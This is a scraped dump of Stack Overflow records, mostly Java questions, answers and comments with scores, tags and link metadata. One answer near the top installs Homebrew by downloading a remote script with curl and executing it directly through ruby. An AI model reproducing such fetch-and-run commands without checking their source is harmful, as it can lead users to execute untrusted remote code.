has body: You need to install ant before build. How to install ant? Use this one. try this one. Make sure you install node.js first 1.Download and install Homebrew by executing following command in cmd: ruby -e "$(curl -fsSL https://raw.github.com/Homebrew/homebrew/go/install)" 2.Install Apache Ant via Homebrew by executing brew install ant 3.Build project phonegap build android
type: Answer
score: 2

http://stackoverflow.com/q/22169214
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/22170116
has answer: http://stackoverflow.com/a/22169706
upvote count: 1
has comment: http://stackoverflow.com/comment/33646461
has body: I'm not looking for answers, as this is a internship interview question for their coding problem. Rather, i'm looking a clue to head in the right direction. Basically, the user puts in 2 parameters. Number of items and price point. For example, if the user puts in 3 for items and $150 for price point, the algorithm should find as many combinations as possible that is close to the price point of 150. I've thought really hard about this problem, and my initial attempt was to just divide the price point by the total number of items. But this answer only gives me a restricted range for each item. Is this question a P NP type question?
has title: algorithm to match number of items value to be as close to price point(JAVA)
type: Question
tagged with: np
has comment: http://stackoverflow.com/comment/33646365
has comment: http://stackoverflow.com/comment/33646210
tagged with: algorithm
score: 1
tagged with: java
has comment: http://stackoverflow.com/comment/33646165
answer count: 2
downvote count: 0
favorite count: 0
has comment: http://stackoverflow.com/comment/33646486

http://stackoverflow.com/comment/33688745
score: 0
has text: May this link will help understand that http://www.xyzws.com/Javafaq/what-is-variable-hiding-and-shadowing/15
type: Comment
comment on: http://stackoverflow.com/a/22192918
type: AnswerComment

http://stackoverflow.com/a/22230673
answers question: http://stackoverflow.com/q/22230563
has body: cal.set(int, int, int, int, int, int) does not set the milliseconds. Therefore, the Calendar instance still contains the milliseconds from its creation time. You can use GregorianCalendar(int year, int month, int dayOfMonth), although you would loose the locale, or cal.set(Calendar.MILLISECOND, 0) to remove the millis. Edit As suggested by Jonathan Drapeau in the comment below, you can also call cal.clear() to remove all fields before calling set
upvote count: 3
type: Answer
score: 3
downvote count: 0

http://stackoverflow.com/a/22222189
answers question: http://stackoverflow.com/q/22200677
has comment: http://stackoverflow.com/comment/33797564
type: Answer
upvote count: 1
score: 1
has comment: http://stackoverflow.com/comment/33744626
has body: I had the same error. I have redone the update without selecting the patch for WTP. It worked well. Then, after searching for new upgrades, the patch for WTP had disapeared...
downvote count: 0

http://stackoverflow.com/comment/33748950
type: QuestionComment
type: Comment
has text: It would not work that way (using direct dependencies from w1 to w2). War dependencies are automatically applied as overlays (w1 would include everything from w2 as well). However, this is applied in the package phase. So during compile, your code from w2 would not be visible to the compiler, i.e. w1 would not even compile. Please use a separate jar as dependency.
comment on: http://stackoverflow.com/q/22225753
score: 0

http://stackoverflow.com/q/22271697
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33832662
has comment: http://stackoverflow.com/comment/33832562
has comment: http://stackoverflow.com/comment/33842976
tagged with: java
downvote count: 1
type: Question
has body: I have to implement a method in which there will be a listener which will read a messages from queue and then it will send those messages into table. Now my concern is that there can be 1 message or 10 messages. I have to read them one by one and dump those messages into table; I have implemented it but I doubt that the conditions I have put are not in correct order. Can you guys please advise is it the correct condition below. @Transactional(rollbackFor = { Throwable.class }) public String dumpMesagesFromabcQueue() { String tibcoQueueName = configuration.getSpecificConfiguration(Constants.DFR_QUEUE); jmsTemplate.setDefaultDestinationName(tibcoQueueName); jmsTemplate.setPubSubDomain(false); try { while (tibcoUtility.getQueueMessagePendingCount(tibcoQueueName) != 0) { Message message = jmsTemplate.receive(); String messageType = null; String cashFlowMesg = null; if (message instanceof ObjectMessage) { try { ObjectMessage objMessage = (ObjectMessage) message; String[] messageArray = (String[]) objMessage.getObject(); cashFlowMesg = messageArray[0]; messageType = messageArray[1]; abcHelper.ttt(rrr, null, ddd, eee, rrrrrr, trw, tyi, new Throwable(ero)); } catch (JMSException e) { logger.error(" Error retriving messages from error queue to ttt queu ", e); throw new RuntimeException(e); } } } } catch (TibjmsAdminException exp) { String err = "Error encountered while processing queue "; err += exp.toString(); err += ""; return err; } return "Messages consumed successfully "; }
upvote count: 0
has title: Regarding conditions put in order while retrieving the data
answer count: 1
tagged with: tibco
has answer: http://stackoverflow.com/a/22278958
favorite count: 0
score: -1

jsr356
tag name: jsr356
type: Tag
tags question: http://stackoverflow.com/q/22257079

http://stackoverflow.com/a/22215368
answers question: http://stackoverflow.com/q/22215045
has body: The program will run if you: 1 - Change the line static ArrayList&lt;Object&gt; items = new ArrayList&lt;Object&gt;(); to static ArrayList&lt;MediaItem&gt; items = new ArrayList&lt;MediaItem&gt;(); 2 - Change the line System.out.println( items ); to for ( MediaItem mi : items ) { System.out.println( mi.getTitle() + ", " + mi.getFormat() ); } 3 - Insert a ";" at the end of the line format = null I did it here and it worked.
downvote count: 0
type: Answer
upvote count: 1
score: 1

http://stackoverflow.com/comment/33661229
comment on: http://stackoverflow.com/a/22177535
score: 0
type: AnswerComment
has text: Doing it this way, I'm now getting a `FileNotFoundException`. Is there a specific place that the file should be on my computer? right now, it is in my src package folder that also contains the program.
type: Comment

http://stackoverflow.com/a/22249096
upvote count: 1
has comment: http://stackoverflow.com/comment/33791314
score: 1
has comment: http://stackoverflow.com/comment/33791783
has body: private Handler mTimerHandler = new Handler(); private ProgressDialog mProgressDialog = null; private Button Root; @Override protected void onCreate(Bundle savedInstanceState) { ........... Root = (Button) findViewById(R.id.Root); Root.setOnClickListener(new OnClickListener() { @Override public void onClick(View arg0) { mProgressDialog = ProgressDialog.show(MainActivity.this, "", "Please wait...", true); mTimerHandler.postDelayed(mTimerExecutor, 5000); } }); ........... } private Runnable mTimerExecutor = new Runnable() { @Override public void run() { if (mProgressDialog != null) { mProgressDialog.dismiss(); } showDialog(); } }; private void showDialog() { if (RootTools.isAccessGiven()) { AlertDialog.Builder builder = new AlertDialog.Builder(MainActivity.this); builder.setIcon(R.drawable.ic_launcher); builder.setTitle("Congratulations!"); builder.setMessage("You Have Root Access!"); builder.setPositiveButton("OKAY", new DialogInterface.OnClickListener() { @Override public void onClick(DialogInterface dialog, int which) { dialog.cancel(); } }); AlertDialog dialog = builder.create(); dialog.show(); } else { AlertDialog.Builder builder = new AlertDialog.Builder(MainActivity.this); builder.setIcon(R.drawable.ic_launcher); builder.setTitle("Oops!"); builder.setMessage("No Root Access!"); builder.setPositiveButton("OKAY", new DialogInterface.OnClickListener() { @Override public void onClick(DialogInterface dialog, int which) { dialog.cancel(); } }); AlertDialog dialog = builder.create(); dialog.show(); } }
has comment: http://stackoverflow.com/comment/33791011
has comment: http://stackoverflow.com/comment/33790291
has comment: http://stackoverflow.com/comment/33791890
has comment: http://stackoverflow.com/comment/33791086
has comment: http://stackoverflow.com/comment/33793766
has comment: http://stackoverflow.com/comment/33791993
has comment: http://stackoverflow.com/comment/33790320
has comment: http://stackoverflow.com/comment/33793687
has comment: http://stackoverflow.com/comment/33790546
has comment: http://stackoverflow.com/comment/33789928
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/22248762
accepted answer of: http://stackoverflow.com/q/22248762
type: Answer

http://stackoverflow.com/q/22321577
type: AnsweredQuestion
tagged with: java
has title: Byte comparision in java
type: Question
has comment: http://stackoverflow.com/comment/33920283
accepted answer: http://stackoverflow.com/a/22321691
score: 0
has answer: http://stackoverflow.com/a/22321691
has comment: http://stackoverflow.com/comment/33920262
upvote count: 1
answer count: 1
downvote count: 1
favorite count: 0
tagged with: hex
tagged with: byte
has body: what actually happens here, when byte - byte is occur? suppose, byteResult = byte1 - byte2; where, byte1 = 0xff; byte2 = 0x01; then, is byte1 turns into integer with value 255 and and byte2 1 and byteResult assigned to 254 then converted into byte with 0xFE? And then the if condition is checked? Please a detail help will be very helpful for me. Sorry if my question is ambiguous! Here, I found something but not what exactly I want. Java Byte comparison
linked to: http://stackoverflow.com/q/20983111

http://stackoverflow.com/comment/33716723
has text: Why don't you simply swap key and value? Seems like reinventing the wheel.
comment on: http://stackoverflow.com/q/22208281
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/33906736
score: 0
type: Comment
type: QuestionComment
has text: Could you please outline the problem, you are dealing with? Currently it is not very clear, what's the issue.
comment on: http://stackoverflow.com/q/22313288

http://stackoverflow.com/comment/33884161
comment on: http://stackoverflow.com/a/22301090
type: AnswerComment
score: 0
type: Comment
has text: @GIJoe I don't really get what you mean, but you can have as many inner constant maps as you need (e.g. `BY_ISO_CODE_3`, `BY_CONTINENT`). Thus, you would simply need to create corresponding `getByIsoCode3()` and `getByContinent()` static methods.

http://stackoverflow.com/comment/33700507
type: Comment
type: AnswerComment
has text: simple example expose here
comment on: http://stackoverflow.com/a/22199617
score: 0

http://stackoverflow.com/comment/33975088
type: QuestionComment
comment on: http://stackoverflow.com/q/22319501
has text: hmm .. is your problem not-receiving-a-clicked or starting-a-drag? Not they I have a solution to any of those, just for clarification :-) My guess would be that the first is a OS property that you can't change from within java/swing/awt.
score: 0
type: Comment

http://stackoverflow.com/q/22322128
type: AnsweredQuestion
downvote count: 0
score: 1
tagged with: java
has answer: http://stackoverflow.com/a/22322294
accepted answer: http://stackoverflow.com/a/22322294
type: Question
has body: While working on my code, I used the Collections and came across something which seems very wierd to me. I wonder why this questions was never asked earlier although this class and the method I am referring to have been there from Java 1.4 /** * Returns an array list containing the elements returned by the * specified enumeration in the order they are returned by the * enumeration. This method provides interoperability between * legacy APIs that return enumerations and new APIs that require * collections. * * @param e enumeration providing elements for the returned * array list * @return an array list containing the elements returned * by the specified enumeration. * @since 1.4 * @see Enumeration * @see ArrayList */ public static &lt;T&gt; ArrayList&lt;T&gt; list(Enumeration&lt;T&gt; e) { ArrayList&lt;T&gt; l = new ArrayList&lt;&gt;(); while (e.hasMoreElements()) l.add(e.nextElement()); return l; } This is the method that I was going through. I am really curious to know why the API is not written cleanly (I think). There is no null check for the input collection, which is something which a standard API should always consider. The created ArrayList is stored in a reference of ArrayList, which one would have normally stored in a List reference. Same is the case with the return type as well. I din't raise bugs for this in the Java bug repo, as the Javadoc already indicates, that these cases are known. Any pointers?
upvote count: 1
answer count: 1
has title: Methods in Collections class not having null check for input collection
favorite count: 0
has comment: http://stackoverflow.com/comment/33921454
tagged with: collections
has comment: http://stackoverflow.com/comment/33921223

http://stackoverflow.com/q/22197262
score: -3
has title: how to read html tag with values in java
has comment: http://stackoverflow.com/comment/33695906
tagged with: java
upvote count: 1
has comment: http://stackoverflow.com/comment/33696043
type: Question
has answer: http://stackoverflow.com/a/22406252
tagged with: jsoup
has comment: http://stackoverflow.com/comment/33695857
has body: I want the output like this tag=value like this (body=hello) String html=" " + " sub " + "main "; Document doc=Jsoup.parse(html); Elements divs=doc.select("div"); for(Element div : divs){ System.out.println(div.ownText()); }
downvote count: 4
has comment: http://stackoverflow.com/comment/33698562
answer count: 1
favorite count: 0
type: UnansweredQuestion

libgdx
tags question: http://stackoverflow.com/q/22205056
tags question: http://stackoverflow.com/q/22173134
tags question: http://stackoverflow.com/q/22197882
tags question: http://stackoverflow.com/q/22279338
tags question: http://stackoverflow.com/q/22306105
tags question: http://stackoverflow.com/q/22232382
tags question: http://stackoverflow.com/q/22223909
tags question: http://stackoverflow.com/q/22246737
tags question: http://stackoverflow.com/q/22296997
tags question: http://stackoverflow.com/q/22308358
tags question: http://stackoverflow.com/q/22240905
tags question: http://stackoverflow.com/q/22187056
tags question: http://stackoverflow.com/q/22196621
tags question: http://stackoverflow.com/q/22182752
tag name: libgdx
tags question: http://stackoverflow.com/q/22229243
tags question: http://stackoverflow.com/q/22295329
tags question: http://stackoverflow.com/q/22270676
tags question: http://stackoverflow.com/q/22232435
tags question: http://stackoverflow.com/q/22263458
tags question: http://stackoverflow.com/q/22176149
tags question: http://stackoverflow.com/q/22273874
tags question: http://stackoverflow.com/q/22203665
tags question: http://stackoverflow.com/q/22227636
tags question: http://stackoverflow.com/q/22181587
tags question: http://stackoverflow.com/q/22231295
tags question: http://stackoverflow.com/q/22291353
type: Tag
tags question: http://stackoverflow.com/q/22184692
tags question: http://stackoverflow.com/q/22222972
tags question: http://stackoverflow.com/q/22206329
tags question: http://stackoverflow.com/q/22284429
tags question: http://stackoverflow.com/q/22290021
tags question: http://stackoverflow.com/q/22212720
tags question: http://stackoverflow.com/q/22300789
tags question: http://stackoverflow.com/q/22272284
tags question: http://stackoverflow.com/q/22263289
tags question: http://stackoverflow.com/q/22302814
tags question: http://stackoverflow.com/q/22273741
tags question: http://stackoverflow.com/q/22197664
tags question: http://stackoverflow.com/q/22314823
tags question: http://stackoverflow.com/q/22199797

http://stackoverflow.com/comment/34025583
type: QuestionComment
comment on: http://stackoverflow.com/q/22286083
has text: From a camera feed which could capture people, cars, trucks. So just track everything. (Should I start a new topic?)
score: 0
type: Comment

http://stackoverflow.com/a/22254508
has comment: http://stackoverflow.com/comment/33802119
has body: Assuming both MyValidator and StudentValidator are spring beans, you should try: bean id="myValidator" class="MyValidator.java"> bean id="studentValidator" class="StudentValidator.java" parent="myValidator> You must notify spring that there is an inheritance.
answers question: http://stackoverflow.com/q/22253731
type: Answer
score: 0

http://stackoverflow.com/comment/33898024
comment on: http://stackoverflow.com/q/22308585
type: QuestionComment
type: Comment
has text: Your approach sounds reasonable ... good to see that you are thinking about what you are asked to do and then about how in algorithmic terms before jumping in to implementation.
score: 0

http://stackoverflow.com/comment/33935343
comment on: http://stackoverflow.com/a/22327764
type: Comment
has text: @bitli Updated the answer to include a version using your original signature. Most of the benefits are the same, and the speed is the same.
score: 0
type: AnswerComment

http://stackoverflow.com/q/22194346
tagged with: processing
type: AnsweredQuestion
score: 3
has answer: http://stackoverflow.com/a/22195975
has comment: http://stackoverflow.com/comment/33699921
tagged with: java
has answer: http://stackoverflow.com/a/63145874
type: Question
answer count: 2
possible better answer: http://stackoverflow.com/a/63145874
downvote count: 0
tagged with: javascript
favorite count: 0
accepted answer: http://stackoverflow.com/a/22195975
has title: How to distinguish the mode (Java/JS/Android) the Processing sketch runs?
tagged with: android
tagged with: mode
has body: I write a multiplatform logic game, that will have to work in all modes: Java, JS and Android. I need to do some things different in all modes (especially, but not limited to, storage, for Java/Android I want to use load/saveTable and for JS - localStorage). To do that I need to get the information, which is the mode the sketch runs. And I need to do this in runtime, just to avoid keeping different source for all platforms. I was looking in the docs but found nothing in the topic. My Google research also led me to thoughts, that nobody even asked for that... I was thinking about using try/catch to check some functions that exist in Java but not in JS, but this seems to be rather unelegant and whatismore I can not find the propper way for that. What I have found is: try { PApplet a; a = new PApplet(); mode = "JAVA"; } catch(Throwable e) { mode = "JS"; } This distinguishes Java and JavaScript, but can not recognize Android... So to summarize - what's the best way to distinguish, whether I run the sketch in JS or Java mode on runtime?
upvote count: 3
has comment: http://stackoverflow.com/comment/33703556

http://stackoverflow.com/comment/33707972
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22202786
has text: Thanks! But would you say that ideally when building a module/client that its best to keep all the DI/guice within the client and not expose any of it?

http://stackoverflow.com/a/27164083
has body: Increase the query.setRows(xxxx) to some big number and check, it helped me
answers question: http://stackoverflow.com/q/22191975
score: 0
type: Answer

http://stackoverflow.com/a/22241299
downvote count: 0
has comment: http://stackoverflow.com/comment/33776412
type: Answer
accepted answer of: http://stackoverflow.com/q/22240925
has comment: http://stackoverflow.com/comment/33776420
answers question: http://stackoverflow.com/q/22240925
has body: The only thing that would make sense would be to perform a check in your indexOf() using contains(), to make sure the variable exists. public static boolean contains(int[] input, int target) { for(int i = 0; i &lt; input.length; i++){ if (target == input[i]){ return true; } } return false; } public static int indexOf(int[] input, int target) { //If the value isn't there, return -1 if(contains(input, target) == false){ return -1; } //Go find the value if we know it is in there for(int i = 0; i &lt; input.length; i++){ if (target == input[i]){ return i; } } //We should never get here return -1; }
upvote count: 1
score: 1
type: AcceptedAnswer

http://stackoverflow.com/comment/133091794
comment on: http://stackoverflow.com/q/22248264
type: Comment
type: QuestionComment
has text: Did you find solution ? I'm facing the same issue
score: 0

http://stackoverflow.com/q/22240113
tagged with: cpu-architecture
type: Question
tagged with: algorithm
tagged with: logic
has title: Implementing Arithmetic Right Shift for Booth's Algorithm
answer count: 1
tagged with: string
has body: I was trying to implement Booth's algorithm using Java, but the arithmetic right shift function(rightShift()) is being ignored in my multiply() function. Is it because I have used a String for the product variable? Here's my code:- import java.util.Scanner; class BoothsAlgorithm{ static String appendZeros(int n){ String result = ""; for(int i = 0; i &lt; n; i++) result += "0"; return result; } static String rightShift(String str){ String result = ""; for(int i = 0; i &lt; str.length(); i++){ if(i == 0) result += str.charAt(i); else result += str.charAt(i-1); } return result; } static String add(String a, String b){ String result = ""; char carry = '0'; for(int i = a.length()-1; i &gt;= 0; i--){ String condition = "" + a.charAt(i) + b.charAt(i) + carry; switch(condition){ case "000": result = "0" + result; break; case "001": result = "1" + result; carry = '0'; break; case "010": result = "1" + result; break; case "011": result = "0" + result; break; case "100": result = "1" + result; break; case "101": result = "0" + result; break; case "110": result = "0" + result; carry = '1'; break; case "111": result = "1" + result; break; } } return result; } static String multiply(int a, int b){ String op1 = Integer.toBinaryString(a); String op2 = Integer.toBinaryString(b); String negop2 = Integer.toBinaryString(-b); char prev = '0'; String product = appendZeros(64-op1.length())+op1; for(int i = 0; i &lt; 32; i++){ if(i &gt; 0) prev = product.charAt(63); if(product.charAt(63)=='0' &amp;&amp; prev == '1'){ String temp = appendZeros(32-op2.length()) + op2 + appendZeros(32); product = add(product, temp); } if(product.charAt(63)=='1' &amp;&amp; prev == '0'){ String temp = appendZeros(32-negop2.length()) + negop2 + appendZeros(32); product = add(product, temp); } rightShift(product); } return product.substring(32); } public static void main(String args[]){ Scanner sc = new Scanner(System.in); System.out.print("Enter the first number: "); int operand1 = sc.nextInt(); System.out.print…
type: UnansweredQuestion
score: 0
tagged with: java
has answer: http://stackoverflow.com/a/22240711

http://stackoverflow.com/comment/33886432
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22302319
has text: That is not valid JSON.
score: 0

http://stackoverflow.com/q/22242287
has comment: http://stackoverflow.com/comment/33780349
has comment: http://stackoverflow.com/comment/33784148
has title: java.lang.NullPointerException at org.apache.catalina.connector.Request.setAttribute
tagged with: nullpointerexception
has comment: http://stackoverflow.com/comment/33778164
has comment: http://stackoverflow.com/comment/33778011
has comment: http://stackoverflow.com/comment/33780205
favorite count: 0
has answer: http://stackoverflow.com/a/22277877
has comment: http://stackoverflow.com/comment/33778072
type: UnansweredQuestion
has body: Here is my code: public class SiteAnalizer extends HttpServlet { private static final String[] symbols = { "0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "!", "@", "#", "$", "%", "^", "&", "*", "~", "?" }; private HashMap wordMap; PrintWriter pw; private HttpServletRequest request; private HttpServletResponse response; private StringBuffer hashIndex = new StringBuffer(); private int percentage; private int pageNumber=0;; LinkedList<DataHolder> storeDataHolders = new LinkedList<DataHolder>(); int primaryKey = 0; private static final int NUMBER_OF_THREADS = 1; int count = 0; public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { doPost(request,response); } public void doPost(HttpServletRequest request, HttpServletResponse response)throws ServletException, IOException { this.request = request; this.response = response; String[] listOfWords = request.getParameter("wordList").toLowerCase().trim().split("\n"); //Get the List of words percentage = Integer.parseInt(request.getParameter("percentage")); // Get the percentage value double numberOfWordsInProgramHash = 0; //Keep track of how many words in "program" per webpage //Store the primary key StringBuilder userListWithoutDuplicates = new StringBuilder(); pw = response.getWriter(); double numberOfKnownWords = 0; Arrays.sort(listOfWords); //Remove the duplicated words in user's list HashSet<String> userDefinedSet = new HashSet<String>(); for(int i=0;i<listOfWords.length;i++) { if (!userDefinedSet.contains(listOfWords[i].trim())) { userListWithoutDuplicates.append(listOfWords[i].trim()); userListWithoutDuplicates.append(" "); userDefinedSet.add(listOfWords[i].trim()); //pw.println(listOfWords[i].trim()); } } //createHashForUserList(userListWithoutDuplicates); hashIndex = createHashForUserList(userListWithoutDuplicates); //Read the Has…
tagged with: multithreading
upvote count: 1
has comment: http://stackoverflow.com/comment/33784672
has comment: http://stackoverflow.com/comment/33779261
has comment: http://stackoverflow.com/comment/33779533
score: 1
tagged with: java
has comment: http://stackoverflow.com/comment/33783548
has comment: http://stackoverflow.com/comment/33781890
tagged with: servlets
has comment: http://stackoverflow.com/comment/33778406
type: Question
has comment: http://stackoverflow.com/comment/33780149
has answer: http://stackoverflow.com/a/22242632
answer count: 2
has comment: http://stackoverflow.com/comment/33780336
downvote count: 0
has comment: http://stackoverflow.com/comment/33780622
has comment: http://stackoverflow.com/comment/33779225
has comment: http://stackoverflow.com/comment/33780618
has comment: http://stackoverflow.com/comment/33783584

http://stackoverflow.com/q/22262137
answer count: 4
downvote count: 6
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/22262271
has title: How do you invoke a method?
tagged with: java
has comment: http://stackoverflow.com/comment/33814696
has answer: http://stackoverflow.com/a/22262203
type: Question
tagged with: for-loop
upvote count: 0
has body: How would i invoke this method for it to print out when i call it in eclipse ??? public class Arraymini { public static void main(String [] args){ int [] testArray1= {1,6,3,9,2}; double [] testArray2= {2.3, 8.66, 6.5, -9.2}; } public static void printArray(int []k){ for(int i=0; i&lt;k.length; i++){ System.out.println(k[i]+" "); } } public static void printArray(double[]g){ for(int i=0; i&lt;g.length; i++){ System.out.println(g[i]+" "); } } } also is their a way i am suppose to change the foor loop for it to print out in a row ?????
has answer: http://stackoverflow.com/a/22262226
has answer: http://stackoverflow.com/a/22262177
score: -6
has comment: http://stackoverflow.com/comment/33814828
favorite count: 0
possible better answer: http://stackoverflow.com/a/22262177
has comment: http://stackoverflow.com/comment/33814675
accepted answer: http://stackoverflow.com/a/22262226

http://stackoverflow.com/comment/33708811
has text: `split` automatically creates an array, no way around that.
type: Comment
comment on: http://stackoverflow.com/a/22204087
score: 1
type: AnswerComment

http://stackoverflow.com/q/22268011
tagged with: file
has comment: http://stackoverflow.com/comment/33824668
upvote count: 1
has title: How can I send a folder as response to the client via REST using Java?
has body: I want to send a folder or list of files in the particular folder as response to the client via REST using java. My server side is EJB. I am trying with following code. But got FileNotFoundException @GET @Produces(MediaType.APPLICATION_OCTET_STREAM) public Response getFiles() { File file = new File("C:\Documents and Settings\Administrator\Desktop\MyFolder"); return Response.ok(file, MediaType.APPLICATION_OCTET_STREAM).build(); } Tried with the following code. But got NullPointerException @GET @Produces(MediaType.APPLICATION_OCTET_STREAM) public Response getFiles() { File file = new File("C:\Documents and Settings\Administrator\Desktop\MyFolder"); ResponseBuilder response = Response.ok(file.listFiles()); response.header("Content-Disposition", "inline; filename=units.zip"); return response.build(); } Working in a windows machine. Can anyone give me any advice, or examples of working code to conform to?
type: Question
has answer: http://stackoverflow.com/a/22268399
has comment: http://stackoverflow.com/comment/33825059
has comment: http://stackoverflow.com/comment/33824605
downvote count: 0
has comment: http://stackoverflow.com/comment/33826432
tagged with: response
answer count: 1
favorite count: 0
tagged with: rest
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33826352
tagged with: httpresponse
has comment: http://stackoverflow.com/comment/33824983
score: 1
tagged with: java

http://stackoverflow.com/q/22196172
has title: Call Java code from java script
type: Question
has answer: http://stackoverflow.com/a/22197622
upvote count: 0
answer count: 1
tagged with: jsp
tagged with: javascript
has body: I have my custom tag in a jsp file. This custom tag injects some java scripts functions in my jsp at runtime. but for injecting this java script, the custom tag also needs an attribute value from request object. This attribute is set in request by a Java code before the jsp loads. My problem is I don't want to inject the java script (which my custom tag injects) at the page load time. I want it to be injected on a checkbox check. As I mentioned earlier, My custom tag also need a request attribute. I want this request attribute to set after the checkbox is checked but before the custom tag injects the java script in jsp page. Thanks
favorite count: 0
tagged with: ajax
type: UnansweredQuestion
downvote count: 1
has comment: http://stackoverflow.com/comment/33697791
tagged with: taglib
tagged with: java
score: -1

http://stackoverflow.com/comment/33701071
has text: Because type parameters are erased from the class file. There is only one shared class file java.util.ArrayList, and it needs to cater for all types. The type check from the generics only happen in the compiler.
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/22199577
score: 0

http://stackoverflow.com/q/22221577
type: UnansweredQuestion
has title: Spring+Maven Property File not loading
tagged with: maven
tagged with: spring
tagged with: properties
score: 2
has comment: http://stackoverflow.com/comment/33746747
tagged with: java
type: Question
upvote count: 2
has comment: http://stackoverflow.com/comment/33739984
has answer: http://stackoverflow.com/a/22222150
downvote count: 0
has comment: http://stackoverflow.com/comment/33742178
has comment: http://stackoverflow.com/comment/33740434
has comment: http://stackoverflow.com/comment/33742225
answer count: 1
has comment: http://stackoverflow.com/comment/33743208
has comment: http://stackoverflow.com/comment/33745808
has comment: http://stackoverflow.com/comment/33739721
has body: I am trying to access a property file containing db configurations in a Maven + Spring project. I get following error: Cannot load JDBC driver class '${db_driver}' My Property file is placed in src/resources folder. Below is the tag to load property files: classpath:${appenv.deployment}.properties Following tag uses properties loaded: Below are contents of properties file: #JDBC Properties db_driver=com.mysql.jdbc.Driver db_url=jdbc\:mysql\://hostname\:3306/xxx_dbxxx?useUnicode\=true db_username=abcdefgh db_password=ijklmnopq db_removeabadoned=true db_initialsize=1 db_maxactive=2 ${appenv.deployment} is a VMArgument set as follows: -Dappenv.deployment=development I have checked, this value is getting populated properly. I am getting following line in logs: Found key 'appenv.deployment' in [systemProperties] with type [String] and value 'development' Then after this I am also getting following: Loading properties file from class path resource [development.properties] But some how, the values are not getting loaded. Spring-Datasource.xml classpath:${appenv.deployment}.properties <constructor-arg type="javax.sql.DataSource" ref="dataSource" /> <constructor-arg index="1" value="tablename1" /> <constructor-arg index="2" value="propertyname2" /> <constructor-arg index="3" value="propertyvalue2" /> <constructor-arg ref="firstConfigDataFromDB" /> <constructor-arg type="javax.sql.DataSource" ref="dataSource" /> <constructor-arg index="1" value="tablename2" /> <constructor-arg index="2" value="propertyname2" /> <constructor-arg index="3" value="propertyvalue2" /> <constructor-arg ref="secondConfigurationFromDB" /> Generic.xml <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:context="http://www.springframework.org/schema/context" xmlns:aop="http://www.springframework.org/schema/aop" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-2.5.xs…
favorite count: 0
has comment: http://stackoverflow.com/comment/33744434
has comment: http://stackoverflow.com/comment/33746898

http://stackoverflow.com/q/22289125
upvote count: 3
type: UnansweredQuestion
tagged with: java
type: Question
score: 3
has body: I'm trying to get the textual representation of a unicode Character on Android, API Level 10. I know, that at API Level 19, I could use Character.getName(), but my API Level does not allow for that. Are there any easy methods to get that name or do I have to use a copy of http://www.unicode.org/Public/6.0.0/ucd/UnicodeData.txt and parse that? (I would prefer not to add >1MB of data to my app)
has title: Getting unicode character name in old Android API
downvote count: 0
tagged with: unicode
favorite count: 0
tagged with: android
answer count: 0

http://stackoverflow.com/q/22275403
score: 1
has body: I´m wonderring myself if it is possible to host a "webserver" just with a simple socket which prints out the website via a PrintWriter. I already tried this and for a splitsecond I can see my html code displayed but after that the connection aborts. Please don´t hate me that there a plenty of litte webserver-solutions, I know that but I´m trying to get forward and to improve my programming skills. I appreciate every advice for better coding. Here is my Java Code: public class webserver { ServerSocket serversocket=null; Socket s=null; OutputStream o=null; public webserver(){ try { serversocket=new ServerSocket(8080); writeout(); } catch (IOException e) { e.printStackTrace(); } } private void writeout(){ try { char[] cbuf=new char[100000]; s=serversocket.accept(); o=s.getOutputStream(); PrintWriter pw=new PrintWriter(o); FileReader fr=new FileReader("C:/Users/me/Documents/HelloWorld.html"); BufferedReader br=new BufferedReader(fr); br.read(cbuf); br.close(); pw.write(cbuf); pw.flush(); } catch (IOException e) { e.printStackTrace(); } } And that is my Html file builded by Google Web Designer: HelloWorld Testing the Printed Website But my "webserver" terminates without an exception.
tagged with: java
type: Question
has comment: http://stackoverflow.com/comment/33838746
downvote count: 0
tagged with: web
has comment: http://stackoverflow.com/comment/33838260
has title: Transferring a Website via PrintWriter
tagged with: sockets
has comment: http://stackoverflow.com/comment/33838878
favorite count: 0
answer count: 0
type: UnansweredQuestion
upvote count: 1

http://stackoverflow.com/q/22172971
tagged with: java
has comment: http://stackoverflow.com/comment/33652738
tagged with: mysql
has comment: http://stackoverflow.com/comment/33653155
accepted answer: http://stackoverflow.com/a/22173662
downvote count: 1
has comment: http://stackoverflow.com/comment/33653622
type: Question
tagged with: bigdecimal
has comment: http://stackoverflow.com/comment/33652633
tagged with: database
has body: I have a column in MySQL db and its data type is decimal(6,6). Now in order to store data in that column what data type i should take in Java? Now I tried using double, float, and BigDecimal, nothing works for me?
tagged with: struts2
answer count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/33652650
has answer: http://stackoverflow.com/a/22173662
type: AnsweredQuestion
has title: Arithmetic overflow error converting float to data type numeric
upvote count: 2
score: 1

http://stackoverflow.com/a/22284006
has comment: http://stackoverflow.com/comment/33855610
score: 0
type: Answer
has comment: http://stackoverflow.com/comment/33854672
has comment: http://stackoverflow.com/comment/33854504
has comment: http://stackoverflow.com/comment/33855193
has comment: http://stackoverflow.com/comment/33855236
has comment: http://stackoverflow.com/comment/33854640
has body: This is not a permission problem. Your trying to access a file via r(e)quest.getContextPath() which is used for web access (not file system!) If you want to access files in your workspace/deploy location of your project via the file-system, you should use on of the following methods: Resource myData = new ClasspathResource("myData.xml"): - this will be relative to WEB-INF deploy directory or: new File(servletRequest.getSession().getServletContext().getRealPath("/")+"/your-path-relative-to-WEB-INF-deploy-path"); I personally recommend method #1 EDIT Your questions suggests that you think your src folder is being deployed (copied to the server with your WAR/EAR/Built project, this is usually not true. Normally, the Webpages folder (whatever name you call it within your app) and everything inside of WEB-INF is being deployed. hoping this was helpful.
has comment: http://stackoverflow.com/comment/33855334
